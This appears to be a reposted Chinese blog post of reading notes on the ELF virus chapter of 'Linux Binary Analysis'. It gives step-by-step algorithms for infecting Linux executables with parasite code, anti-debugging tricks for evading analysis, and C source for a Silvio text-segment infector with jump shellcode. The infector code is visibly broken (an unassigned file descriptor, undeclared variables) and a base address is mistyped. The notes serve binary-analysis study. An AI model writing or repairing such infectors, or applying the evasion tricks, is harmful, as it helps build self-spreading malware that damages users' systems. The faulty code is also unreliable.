《linux二進制分析》讀書筆記總結--ELF病毒技術-linux/unix病毒


ELF 病毒的本質

  每個可執行文件都有一個控制流,也叫執行路徑。ELF 病毒的首要目標是劫持控制流,暫時改變程序的執行路徑來執行寄生代碼。

寄生代碼通常負責設置鈎子來劫持函數,還會將自身代碼復制到沒有感染病毒的程序中。一旦寄生代碼執行完成,通常會跳轉到原始的入口點或程序正常的執行路徑上。通過這種方式,宿主程序貌似是正常執行的,病毒就不容易被發現

 

特點:

  • 能感染可執行文件
  • 寄生代碼必須是獨立的,能夠在物理上寄存與另一個程序內部,不能依賴動態鏈接器鏈接外部的庫。獨立於其他文件、代碼庫、程序等。
  • 被感染的宿主文件能繼續執行並傳播病毒

 

設計ELF病毒的挑戰

獨立寄生代碼

原因:每次感染的地址都會變化,寄生代碼每次注入二進制文件中的位置也會變化,所以寄存程序必須能夠動態計算出所在的內存地址。寄生代碼可以使用IP相對代碼,通過函數相對指令指針的偏移量來計算出代碼的地址來執行函數。

解決方案:使用gcc的-nostdlib-fpic -pie選項可以將其編譯成位置獨立的代碼

字符串存儲復雜度

原因:在病毒代碼處理字符串時,如果遇到這樣的代碼const char *name = "elfvirus";,編譯器會將字符串數據存放在.rodata節中,然后通過地址對字符串進行引用,一旦使用病毒注入到其他程序中,這個地址就會失效

解決方案:

  1. 編寫病毒代碼時使用棧來存放字符串
  2. 用gcc的-N選項,將text段和data段合並到一個單獨的段中,使這個段具有可讀、可寫、可執行權限,這樣病毒在感染時就會將這整個段注入,並包括了.rodata節的字符串數據

尋找存放寄生代碼的合理空間

問題: 在設計病毒時首先要回答的問題之一便是要將病毒體(病毒的代碼)注入到哪里?換言之,寄生代碼要寄存在宿主代碼中的什么位置?不同的二進制格式需要有不同的注入方式,但是都需要根據 ELF 頭的值進行適當的調整

面臨的挑戰不是找到空間存放代碼,而是去調整 ELF 二進制文件,以便於能夠去使用空間,同時要使得可執行文件看起來正常執行,並能夠保證病毒可以潛藏在 ELF 文件中以 ELF 規范正常執行。在修改二進制文件和文件布局時,需要考慮許多問題,如頁對齊、偏移調整、地址調整等

將執行控制流傳給寄生代碼

問題:在許多情況下,完全可以調整 ELF 文件頭來將入口點指向寄生代碼。這樣做比較可靠,但是也會非常明顯。如果入口點被修改后指向了寄生代碼,就可以使用 readelf –h 命令查看入口點,立即就能知道寄生代碼的位置。

方案:找一個合適的位置來插入/修改一個分支,通過分支跳轉到寄生代碼,如插入一個 jmp 或者重寫函數指針。一個比較合適的地方就是.ctors 或者.init_array 節,這兩個節中存放着函數
的指針。如果不介意宿主程序執行完之后再執行寄生代碼,可以使用.dtors或.fini_array 節。

 

ELF 病毒寄生代碼感染方法

Silvio 填充感染

原理:利用了內存中 text段和 data 段之間存在的一頁大小的填充空間,在磁盤上,text 段和 data 段是緊挨着的,不過可以利用這兩個段之間的區域作為病毒體的存放區域

 

 

.text感染算法

  • 增加ELF文件頭中的ehdr->e_shoff(節表偏移)的PAGE_SIZE(頁長度)
  • 定位text段的phdr

    修改入口點ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
    增加phdr[TEXT].p_filesz(文件長度)的長度為寄生代碼的長度
    增加phdr[TEXT].p_memsz(內存長度)的長度為寄生代碼的長度

  • 對每個phdr(程序頭),對應段若在寄生代碼之后,則根據頁長度增加對應的偏移
  • 找到text段的最后一個shdr(節頭),把shdr[x].sh_size增加為寄生代碼的長度
  • 對每個位於寄生代碼插入位置之后shdr,根據頁長度增加對應的偏移
  • 將真正的寄生代碼插入到text段的file_base + phdr[TEXT].p_filesz(text段的尾部)

逆向text感染

在允許宿主代碼保持相同虛擬地址的同時感染.text節區的前面部分,我們要逆向擴展text段,將text段的虛擬地址縮減PAGE_ALIGN(parasite_size)。
在現代Linux系統中允許的最小虛擬映射地址是0x1000,也就是text的虛擬地址最多能擴展到0x1000。在64位系統上,默認的text段虛擬地址通常是0x400000,這樣寄生代碼可占用的空間就達到了0x3ff000字節。在32位系統上,默認的text段虛擬地址通常是0x0804800,這就有可能產生更大的病毒。

 

 計算一個可執行文件中可插入的最大寄生代碼大小公式:

max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

感染算法:

  • 將ehdr_eshoff增加為寄生代碼長度
  • 找到text段和phdr,保存p_vaddr(虛擬地址)的初始值

    根據寄生代碼長度減小p_vaddr和p_paddr(物理地址)
    根據寄生代碼長度增大p_filesz和p_memsz

  • 遍歷每個程序頭的偏移,根據寄生代碼的長度增加它的值;使得phdr前移,為逆向text擴展騰出空間
  • 將ehdr->e_entry設置為原始text段的虛擬地址:
  • orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
  • 根據寄生代碼的長度增加ehdr->e_phoff
  • 創建新的二進制文件映射出所有的修改,插入真正的寄生代碼覆蓋舊的二進制文件。

 

data段感染

data段的數據有R+W權限,而text段來R+X權限,我們可以在未設置NX-bit的系統(32位linux系統)上,不改變data段權限並執行data段中的代碼,這樣對寄生代碼的大小沒有限制。但是要注意為.bss節預留空間,盡管.bss節不占用空間,但是它會在程序運行時給未初始化的遍歷在data段末尾分配空間。

感染算法:

  • 將ehdr->e_shoff增加為寄生代碼的長度
  • 定位data段的phdr

    將ehdr->e_entry指向寄生代碼的位置
    phdr->pvaddr + phdr->filesz
    將phdr->p_filesz,phdr->p_memsz增加為寄生代碼的長度

  • 調整.bss節頭,使其偏移量和地址能反映寄生代碼的尾部
  • 設置data段的權限(在設置了NX-bit的系統上,未設置的系統不需要這步)

    phdr[DATA].p_flags |= PF_X;

  • 使用假名為寄生代碼添加節頭,防止有人執行/usr/bin/strip <program>將沒有進行節頭說明的寄生代碼清除掉。
  • 創建新的二進制文件映射出所有的修改,插入寄生代碼覆蓋舊的二進制文件。

 

PT_NOTE 到 PT_LOAD 轉換感染

原理:

將 PT_NOTE 段的類型改為 PT_LOAD,然后將段的位置移到其他所有段之后。當然,也可以通過創建一個 PT_LOAD phdr條目來創建一個新的段,但是由於程序在沒有 PT_NOTE 段時仍將執行,因此
將其轉換為 PT_LOAD 類型。我自己還未在病毒中實現這種感染方法,不過我在 Quenya v0.1 中設計了一項新特性,即允許增加一個新的段。

 

 

PT_NOTE 到 PT_LOAD 轉換感染算法
1.定位 data 段 phdr

  • 找到 data 段結束的地址:  ds_end_addr = phdr->p_vaddr + p_memsz
  • 找到 data 段結束的文件偏移量:  ds_end_off = phdr->p_offset + p_filesz
  • 獲取到可加載段的對齊大小:  align_size = phdr->p_align

2.定位 PT_NOTE phdr

  • 將 phdr 轉換成 PT_LOAD:  phdr->p_type = PT_LOAD;
  • 將下面起始地址賦給 phdr:  ds_end_addr + align_size
  • 將寄生代碼的長度賦給 phdr:  phdr->p_filesz += parasite_size;phdr->p_memsz += parasite_size

3.對新建的段進行說明:ehdr->e_shoff += parasite_size

4.創建一個新的二進制文件映射出 ELF 頭的修改和新的段,插入真正的寄生代碼

 

進程內存病毒和 rootkits——遠程代碼注入技術

共享庫注入

  1. .so 感染/ET_DYN 感染
  2. .so 感染——使用 LD_PRELOAD
  3. 使用 LD_PRELOAD 注入 wicked.so.1
  4. .so 感染——利用 open()/mmap() shellcode
  5. .so 感染——使用 dlopen() shellcode
  6. .so 感染——使用 VDSO 控制技術

text 段代碼注入

可執行文件注入

重定位代碼注入——ET_REL 注入

 

ELF 反調試和封裝技術

PTRACE_TRACEME 技術

原理:

  PTRACE_TRACEME 技術利用了進程追蹤的一項特性—一個程序在同一時間只能被一個進程追蹤,幾乎所有的調試器,包括 GDB,都會使用
ptrace。這項技術的思路就是讓程序追蹤自身,這樣調試器就無法附加到該進程了

SIGTRAP 處理技術

原理:

  程序可以設置一個信號處理器來捕獲SIGTRAP 信號,然后故意發出一個斷點指令,信號處理器捕獲到 SIGTRAP信號之后,會將一個全局變量從 0 加到 1。
隨后程序會對這個全局變量進行檢查,看是否已經從 0 加到 1 了,如果是,就說明我們自己的程序捕獲到了斷點,目前還沒有被調試器調試。如果否(即為 0),那就說明目前一定存在調試器在對該程序進行調試。為了防止被調試,程序可以選擇終止自身進程或者退出

static int caught = 0;
int sighandle(int sig)
{
    caught++;
}
int detect_debugger(void)
{
__asm__ volatile("int3");
    if (!caught) {
        printf("There is a debugger attached!\n");
        return 1;
    }
}    

/proc/self/status 技術

原理:每個進程都有動態文件,文件中包含了許多信息,其中就存放了進程是否正在被追蹤的相關信息

下面是/proc/self/status 的布局示例,可以通過對此進行解析來檢
測追蹤者或者調試器:

 1 ryan@elfmaster:~$ head /proc/self/status
 2 Name: head
 3 State: R (running)
 4 Tgid: 19813
 5 Ngid: 0
 6 Pid: 19813
 7 PPid: 17364
 8 TracerPid: 0
 9 Uid: 1000 1000 1000 1000
10 Gid: 31337 31337 31337 31337
11 FDSize: 256

上面輸出中顯示的“TracerPid: 0”表示進程沒有被追蹤。程序要檢查自身是否被追蹤,可以打開/proc/slf/status,然后檢查這一項的值
是否為 0。如果不為 0,則說明程序正在被追蹤,就可以終止自身進程或者立即退出

 

text段填充感染實例

(1)調整 ELF 頭

 1 #define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we
 2 patch
 3 /* movl $addr, %eax; jmp *eax; */
 4 char parasite_shellcode[] =
 5 "\xb8\x00\x00\x00\x00"
 6 "\xff\xe0"
 7 ;
 8 int silvio_text_infect(char *host, void *base, void *payload,
 9                 size_t host_len, size_t parasite_len)
10 {
11         Elf64_Addr o_entry;
12         Elf64_Addr o_text_filesz;
13         Elf64_Addr parasite_vaddr;
14         uint64_t end_of_text;
15         int found_text;
16         uint8_t *mem = (uint8_t *)base;
17         uint8_t *parasite = (uint8_t *)payload;
18         Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
19         Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
20         Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
21         /*
22          * Adjust program headers
23          */
24         for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
25                 if (phdr[i].p_type == PT_LOAD) {
26                         if (phdr[i].p_offset == 0) {
27                                 o_text_filesz = phdr[i].p_filesz;
28                                 end_of_text = phdr[i].p_offset +
29                                         phdr[i].p_filesz;
30                                 parasite_vaddr = phdr[i].p_vaddr +
31                                         o_text_filesz;
32                                 phdr[i].p_filesz += parasite_len;
33                                 phdr[i].p_memsz += parasite_len;
34                                 for (j = i + 1; j < ehdr->e_phnum;
35                                                 j++)
36                                         if (phdr[j].p_offset >
37                                                         phdr[i].p_offset +
38                                                         o_text_filesz)
39                                                 phdr[j].p_offset
40                                                         += PAGE_SIZE;
41                         }
42                         break;
43                 }
44         }
45         for (i = 0; i < ehdr->e_shnum; i++) {
46                 if (shdr[i].sh_addr > parasite_vaddr)
47                         shdr[i].sh_offset += PAGE_SIZE;
48                 else
49                         if (shdr[i].sh_addr + shdr[i].sh_size ==
50                                         parasite_vaddr)
51                                 shdr[i].sh_size += parasite_len;
52         }
53         /*
54          * NOTE: Read insert_parasite() src code next
55          */
56         insert_parasite(host, parasite_len, host_len,
57                         base, end_of_text, parasite,
58                         JMP_PATCH_OFFSET);
59         return 0;
60 }

(2)插入寄生代碼

 1 #define TMP "/tmp/.infected"
 2 void insert_parasite(char *hosts_name, size_t psize, size_t hsize,
 3                 uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t
 4                 jmp_code_offset)
 5 {
 6         /* note: jmp_code_offset contains the
 7          * offset into the payload shellcode that
 8          * has the branch instruction to patch
 9          * with the original offset so control
10          * flow can be transferred back to the
11          * host.
12          */
13         int ofd;
14         unsigned int c;
15         int i, t = 0;
16         open (TMP, O_CREAT | O_WRONLY | O_TRUNC,
17                         S_IRUSR|S_IXUSR|S_IWUSR);
18         write (ofd, mem, end_of_text);
19         *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
20         write (ofd, parasite, psize);
21         lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
22         mem += end_of_text;
23         unsigned int sum = end_of_text + PAGE_SIZE;
24         unsigned int last_chunk = hsize - end_of_text;
25         write (ofd, mem, last_chunk);
26         rename (TMP, hosts_name);
27         close (ofd);
28 }

函數應用示例:

1 uint8_t *mem = mmap_host_executable("./some_prog");
2 silvio_text_infect("./some_prog", mem, parasite_shellcode,
3 parasite_len);

參考資料:

《linux二進制分析》

https://www.anquanke.com/post/id/85256


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM